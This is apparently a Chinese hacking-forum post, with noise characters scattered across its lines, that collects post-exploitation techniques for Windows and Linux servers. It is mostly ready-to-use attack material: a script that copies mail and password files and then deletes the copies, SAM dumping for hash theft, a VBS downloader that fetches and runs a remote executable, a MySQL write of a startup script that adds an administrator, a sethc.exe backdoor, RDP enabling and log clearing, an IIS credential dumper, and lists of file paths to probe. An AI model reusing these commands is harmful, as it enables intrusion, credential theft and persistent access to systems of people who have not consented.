+ t0 y3 V9 n! p  n" p（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
6 [$ v1 m9 L1 t% n: r# H——————————————
! {6 r' X+ G  K+ ], \( e感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
: u( q7 g/ O5 Ialzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
7 K3 E' f2 b" g" z. E/ s{
5 o  g% j. b$ Y& m. U" r注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
: ^9 D# k( G: c: i
; @( o- q8 ~$ m- C提权先执行systeminfo
token 漏洞补丁号 KB956572
" z9 _0 Y9 i: j4 NChurrasco          kb952004
命令行RAR打包~~·
$ G% b2 d. i! t7 u4 {7 erar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
; u; \7 U0 A" }( J: ~2、收集系统信息的脚本  
) P0 h* u0 N+ @for window：
  V! g5 ^# g9 ^! s4 `/ l8 H/ b
@echo off
' s5 m* h) j3 |! Iecho #########system info collection
/ W7 l2 T" I# I7 Ssysteminfo
+ {8 Z8 V2 b4 L3 W, Mver
hostname
& p. n8 p  U; n5 y& tnet user
net localgroup
( R' X2 u+ o. ~  [& `9 _net localgroup administrators
net user guest
net user administrator

6 T) g8 e6 r9 n$ Vecho #######at- with   atq#####
% T" ]# F4 }5 ^( y# h8 h1 Necho schtask /query

echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
9 W2 p6 F. f: ~9 o% Pipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
# |' O2 ^7 _" d7 i$ Zecho
/ s  M/ E, u5 H( I% U1 Lecho #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F
3 v' d" |4 k0 j( P2 Ufor linux：

# F7 u( w; F  M#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
* _+ B3 X1 p. |" {# h( uecho #######basic infomation##
7 u7 b, k3 ^3 H) w+ jcat /proc/meminfo
echo
cat /proc/cpuinfo
echo
  ^9 S) ?/ h; jrpm -qa 2>/dev/null
* K$ V  V% h" v( `4 b. ?######stole the mail......######
7 \. _. e+ v( [$ R1 o9 y# ?cp -a /var/mail /tmp/getmail 2>/dev/null
- z8 ]( n3 E: f; n+ L
! ?/ Q# w' B. h
echo 'u'r id is' `id`
% o% J( q) K' M8 e: U% u, v' Fecho ###atq&crontab#####
6 m0 }8 A5 J" _5 eatq
) y6 t& Y$ R9 b4 K* f' ~! dcrontab -l
+ J5 c, x7 \% q" F1 E+ z; Xecho #####about var#####
set

- N& H1 [1 N; I  e2 R+ ^echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
9 m8 u9 r" V- `4 Tcat /etc/hosts
hostname
) `. ]- H, Q, [. |3 n* L8 K+ pipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh

0 m( S1 t! J. V0 _( {+ X. J( secho ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
! b2 H/ {9 B/ W" N. X8 Kcat /etc/passwd|grep -i $i
done
) t2 I% A3 K% F
& I1 v* ?5 A$ H. g5 e- qlocate passwd >/tmp/password 2>/dev/null
  X# i# Y; c# }' l& usleep 5
) X2 \% q9 m1 ?/ rlocate password >>/tmp/password 2>/dev/null
% ]( Q8 s. Y9 I8 |! n# O" ^sleep 5
locate conf >/tmp/sysconfig 2>dev/null
! N* x8 k4 b/ U3 v8 x) dsleep 5
; N# O& x' [* i+ C& ilocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
2 |3 a  Z. J& }" F  L6 l1 ?% w& R7 jtar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
" j- D7 v6 T* b1 h3 Y, H  crm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
  x( i& b# t# N; l1 s' _首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
; v& z3 G" z- Y7 T+ ]$ E               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
4 I1 x6 F; }  g5 h2 f9 _% ]) {, d注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
# }3 N0 D- T5 Y+ G3 Chash 抓完了记得把自己的账户密码改过来哦！
$ j  S8 `1 {7 ?  r- B5 K, F3 m0 B+ x# X据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
6 U- E$ o0 V# B5 Z8 m- o' [0 M——————————————
* x; ]2 g$ C# A& T9 r4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 [2 e& ~8 Q) r6 z6 C: S3 \echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
3 W. f1 p! F& ~3 _8 Aecho sGet.Type = 1 >>c:\windows\cftmon.vbs
$ @7 W- i  A  P4 eecho sGet.Open() >>c:\windows\cftmon.vbs
! J4 X0 B4 z1 J5 decho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
) H/ o# l/ G: Z, ^7 `4 {echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
2 R% {+ B3 |  @; \echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
( x5 h( S; T9 K; cecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
+ C$ E5 j' {. c% e1 j7 ycftmon.vbs

2
) l0 v/ t6 ?% `( b- m0 fOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
# ?. c" w+ h& M- |5 K9 ]- x  [Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
) f8 ?: I6 A' z* K' H) z
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
# ~: Z+ l+ Y8 J( \( T2 _3 f
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
" d( t& b2 E) M5 I——————————————————
2 i9 {! G1 T0 t- K4 M* L' c7 |0 A5、
, {* V! o; Z" \8 e1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
2 V. p9 X% Y. U# ?. L0 Y, ?REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
  c- i4 c3 H7 |' j/ c! p4 I; B' c% b6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
# l# R& W4 p  b! E  E7 Hinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
3 p# A; h$ X" P* M! {. K4 Rselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
3 W4 k/ @3 M+ ~2 k0 {! j9 T' K————————————————————
$ [, e: _: A& J$ e) s$ `# S$ i! V7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
9 E& ]  `2 l/ f! z_____
8 L+ \) j0 J+ ^) {# k# I7 E/ R& F8、for /d %i in (d:\freehost\*) do @echo %i
9 |) D: u* s, J" z/ W* B
列出d的所有目录
  
1 K/ R  a+ L" K9 Z6 j  Q  for /d %i in (???) do @echo %i

6 |$ C* K( H# F把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
/ k2 f5 d% F6 N" I2 q- W# X  
# Q$ B& F7 w2 U以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
; G$ k5 _( ^( n$ [9 K7 S4 d/ x
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
& G( P% R2 f( `" y, b6 C
0 x$ E, B) k7 [; ^9 R5 P6 N3.for /f %i in (c:\1.txt) do echo %i
  
$ b7 ?3 f/ t( d; @  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
- }) M8 V" u, }0 R: C! `6 E
9 @; j  T/ m: o4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
+ U5 x/ t" d" r+ F
" r" B+ @4 b- g/ g7 P7 d4 e! b  delims=后的空格是分隔符 tokens是取第几个位置
' n/ b) g- j( |% ]' g: o; d4 n——————————
●注册表:
# F% z/ z" k0 y' ~, S% ^* R1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
. ?3 @7 G3 [! _. N
2.修改3389的默认端口:
2 A4 f& u; F5 I. Y. yHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
1 z" q* S) x! J+ J8 ^3 Y修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
) |( \. e- C0 W! E! e9 }* z7 u
- y  e/ x  m) n5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

5 ?* J: o3 X! D' S5 [6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
. k5 ^5 T* {3 W4 x8 o或者
5 D8 y  h: t3 O- ]7 bnetsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
* S4 Q& z6 r. |8 L
# K: }( y! u- K8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
# c/ l' y+ i- m  ]' Hreg save hklm\system c:\system.hive
5 [: d, n/ y( H3 e# B; zreg save hklm\security c:\security.hive
) P* o" X/ y$ o
1 K* g  N$ M. g& V4 h+ s10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

7 p5 e, C* `% d  preg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
1 J: Y$ y2 Y+ s- h0 m$ r-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
' o0 ?& l5 C8 F5 Z! ~if IsNumeric(childObjectName)=true then
. G  h9 y* \" q9 w) W- d  @set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
6 @' p! B9 L. F/ n, send if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
% k1 V. S: t# r6 rpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
4 }2 q' l/ l3 y# Pend if
9 Y2 I6 x+ [% g8 t% n! p3 U5 g1 J1 {Next
wscript.echo list
7 \# m5 n1 q$ Y( N! v* ISet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
) N) X9 F$ l2 g. s; X# A# RWScript.Quit
4 j' v* P9 ^4 ~- S4 W$ Y/ `- E复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
7 ^! @/ _9 e" R# _1 s) H/ m$ o; e url=request.severvariables("url")
& }- |- l! i4 Q# l0 x/ i 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

; f1 H9 N' h3 }' Q* U==============================================================
# e; N' J7 O5 ?, s; zLINUX常见路径：

. g, B# Z4 R) v% ?' ]2 f; p' Z# r9 w/etc/passwd
) L; t: W. z' b% z) q/ n/etc/shadow
0 c6 w+ h: i' E0 V/etc/fstab
/etc/host.conf
" i' }7 W8 H, Z8 `/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
" |8 q+ K0 ^/ z: q  k/var/www/conf/httpd.conf
4 Q4 ?' W' l: k  _8 S# j/var/www/htdocs/index.html
/var/httpd/conf/php.ini
$ m+ G6 c( w- \' {9 [8 _& Z, \/var/httpd/htdocs/index.php
8 F3 C2 L* Q7 f3 m9 z3 |! M/var/httpd/conf/httpd.conf
7 O0 m  R" M" ^/var/httpd/htdocs/index.html
/ T/ ?* O( ?( s) S5 [/var/httpd/conf/php.ini
/var/www/index.html
3 z8 g1 g. i! O/ w% F  ^; f/var/www/index.php
  m5 [3 h0 J6 l  |/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
# p) @4 h- C  @6 x& ]& d/usr/local/apache/htdocs/index.html
$ m" T$ Y9 B2 P; s8 u/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
7 {- v6 P5 c9 k) S2 j9 [1 g/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
- `1 E* V  w0 t$ e% @/www/php4/php.ini
- o6 Z& J+ n9 g! `) V/www/php5/php.ini
! i" {% |! e$ P2 p. n' \$ |8 r/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
. `0 f& l# g0 a/apache/apache/conf/httpd.conf
  P7 q) M+ ]& W, {2 [/apache/apache2/conf/httpd.conf
5 C0 P5 Q8 z& f$ k, t4 I/ H* e' B/etc/apache/apache.conf
/etc/apache2/apache.conf
8 ~( ^1 j3 Q' c6 n1 A6 ^1 h+ ~. H+ H. r# N5 m/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
1 Z8 @! j. y, H1 \5 N/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
3 G' M: v( `# V/ i* g' _3 P/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
3 [9 `0 l3 y# }" k! H' _/etc/httpd/logs/error_log
- V2 r; y$ P4 Z" h3 R0 @5 A/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
$ p/ p/ p$ {; l" s* [/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
8 @" e# D, w6 j" \/var/log/apache/error.log
7 e8 `, h! l, @6 p; \/var/log/apache/access_log
) q6 u  v& b, L$ O/var/log/apache/access.log
% k' {7 B2 |& m9 \8 m3 v/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
3 \4 B$ g+ |, ~/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
; p$ y) R0 w, Z% ^& h/var/www/logs/access.log
+ B" [7 P4 j" D/usr/local/apache/logs/error_log
- t2 P8 z6 e3 J, v/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
+ r2 z; Y" T2 l$ d0 M4 ~7 G9 i/var/log/error_log
' r/ u& J2 F  e+ a. [0 v- t# @/var/log/error.log
4 X5 E8 @0 t" }; `- N6 t! ~; X/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
0 U7 K( j- J; G) n- i/etc/php.ini
/bin/php.ini
8 @' [/ ]- W& I- I+ [5 Y- A/etc/init.d/httpd
4 g6 R6 s# \9 d  n: S+ B! ^/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
2 F" D& I" v0 \( B5 u9 C/usr/lib/php/php.ini
8 o# x3 e8 n/ {/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
5 p, ?% }) x( j0 S; [; Q: R: T# `8 ~/usr/local/php4/php.ini
) n$ h% n( x+ t3 s+ v4 w/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
5 X+ U- j/ }5 m/ v0 J  n- A! m/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
- ?$ r* Q; u8 l' [4 M) M- O, ~# {/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
& R% _9 F8 S* W1 V. T% W/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
0 U: ?. l& {- A, x/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
  G1 e" d2 x6 u  T+ D( `8 C/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
# G+ k2 Y% Y4 `" O( m5 X  U/etc/php/php4/php.ini
$ _" O6 B* ?; z4 ^: c9 L/etc/php/apache/php.ini
6 R6 R7 |1 _6 b9 B/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
  l( E# V! z5 p1 @5 g0 _/var/local/www/conf/php.ini
4 q8 ~( }* r% C8 C* \/ f) h; F/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
& A/ ~  u) h1 z+ Y) F/etc/php4/cgi/php.ini
2 B0 O3 p7 ~. W  H% Q/etc/php5/cgi/php.ini
6 T, v1 F! {6 G, L& y0 D, H/php5/php.ini
: {% _' O& Y# n  ^7 n/php4/php.ini
/php/php.ini
/PHP/php.ini
) ^- B8 d5 d# ^/apache/php/php.ini
3 S* H5 B/ n9 D* ^2 J' J/xampp/apache/bin/php.ini
% m) R. T  D+ C' E1 F- |/ B/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
* N7 X0 q- v3 g! N" z/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/ @. n3 w+ Q/ _; \/var/log/mysql.log
! v# h. T; x' B3 ~/ V' F/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
- n# z& ]4 M5 r; O! S, q/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
3 |) D0 N) m) m" n+ ]9 P. n4 h  i/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
3 z/ I0 M. w- N) L% e) t2 ~/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
) `# Z& f' m' G& q/usr/local/cpanel/logs/login_log
  u6 \" {# R1 a: m* W) A/usr/local/cpanel/logs/stats_log
. ~+ j$ `' b* {! g5 `/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

2 _4 {( L* @; y$ E4 p; [c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
! e: g% S; z4 T4 b# q. ]7 `. B% h4 w
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
- n. o7 i) j  V% Q7 [c:\CMailServer\WebMail\index.asp
5 I! A- `: o/ Y0 \9 w, P& pc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
7 s3 L- B# V5 g: V* H3 _2 LC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
3 c. H# t' y3 ~& \* YC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

1 p# |7 i  P( T: f6 W! S# tc:\hzhost\hzclient.exe
% |6 G- H- t( b3 ~% F& y1 EC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
" Z8 N  W  y* [5 V) b! W
) E. S5 G9 N, p) T* WC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
  O( Q) {3 F# l( uC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
' g7 V1 }) l$ G$ F7 O! L6 X3 tc:\website\index.html
c:\web\index.asp
: F5 |! q+ i& I$ l, ^$ q* q; [c:\www\index.asp
# C! S& H2 Z3 ]: S4 ?2 s0 u) Mc:\wwwsite\index.asp
c:\WWWROOT\index.asp
6 t- B3 _+ F, C1 J, Nc:\web\index.php
" ~  s! ~2 j+ q( z. u7 ^c:\www\index.php
c:\WWWROOT\index.php
3 ~; M7 T) J4 n  [) U0 L% ]: wc:\WWWsite\index.php
c:\web\default.html
9 B: d8 C9 x9 x- V8 S/ a0 {3 u' ^c:\www\default.html
" D. X# T6 B- B2 n: F9 [6 Bc:\WWWROOT\default.html
c:\website\default.html
1 g5 v) S5 q  w5 z7 X2 W# N  Pc:\web\default.asp
; d. G# i2 I4 ~1 M. @' c9 Nc:\www\default.asp
4 b, Q! ^4 Z: L4 H6 k/ ac:\wwwsite\default.asp
4 u8 R! s! V& e7 Z' ec:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
7 \5 ~2 A: b. P; m( ec:\WWWROOT\default.php
/ m( o2 m5 k" L; m- l6 o8 ~( `c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
: q8 n2 q3 y! U$ `6 ?c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
) P) U9 c! g4 ^5 M/ LC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
: ^; H' H; k& N$ [% V4 iC:\Program Files\winrar\rar.exe
; U& v7 [' s0 u2 N* L0 }& v& ?C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
  J  }7 H5 T  t# w& S- BC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
6 h% {% e4 K% cC:\Program Files\Rising\Rav\RsTask.xml
/ U* {' f  r6 q8 A- l/ I+ SC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
/ z* T6 P0 p$ ]( C  f* x2 |C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
9 y; \# Q6 o8 x% ?# |* E: hE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
3 e& Q' D* S0 ?. l* a- ^) ~C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
# y6 _2 n! x* N+ |: SC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
  M5 p. M9 z% w; G1 EC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
7 R& B' [; X; L: J2 b6 LC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
, o0 D( \0 L; f0 V2 H" ~: i% dC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
. u7 |( x1 ?# _- P4 @C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
, U7 f4 n! R5 _" |c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
5 B' G8 v3 r% ~C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
$ R" \1 E0 [$ L: l1 E$ P* bC:\WINDOWS\system32\inetsrv\w3wp.exe
+ _/ F9 i( O- t! d9 c) cC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
+ H) I6 n" c1 i; {1 i2 d: k! bC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
9 ]6 Z, j0 _# x+ nc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
" v9 ~+ ~6 C* t- ]# Tc:\tomcat\bin\version.sh
! b4 F( D. p; z  i8 i; S" ?c:\program files\tomcat6\bin\version.sh
" m6 U4 I7 p) dC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
. v* f+ y+ e, Vc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
/ }, O* o5 E5 u4 gc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
) Q6 i) T% F& S# ?" xc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
+ v' b' H1 Y/ r' P) ~( Y  U/usr/local/tomcat5527/bin/version.sh
2 m& F/ a! _# g* l% O* @+ K/ Z/usr/share/tomcat6/bin/startup.sh
! b4 K! i! D0 ?/ u( X6 d) L) m/usr/tomcat6/bin/startup.sh
' l3 h% r1 G  h1 j% W& ?' e" Ic:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
! H5 H/ d2 i; X6 r" C* B$ }c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
2 ]* V$ e9 t; G1 }6 V6 B; Sc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
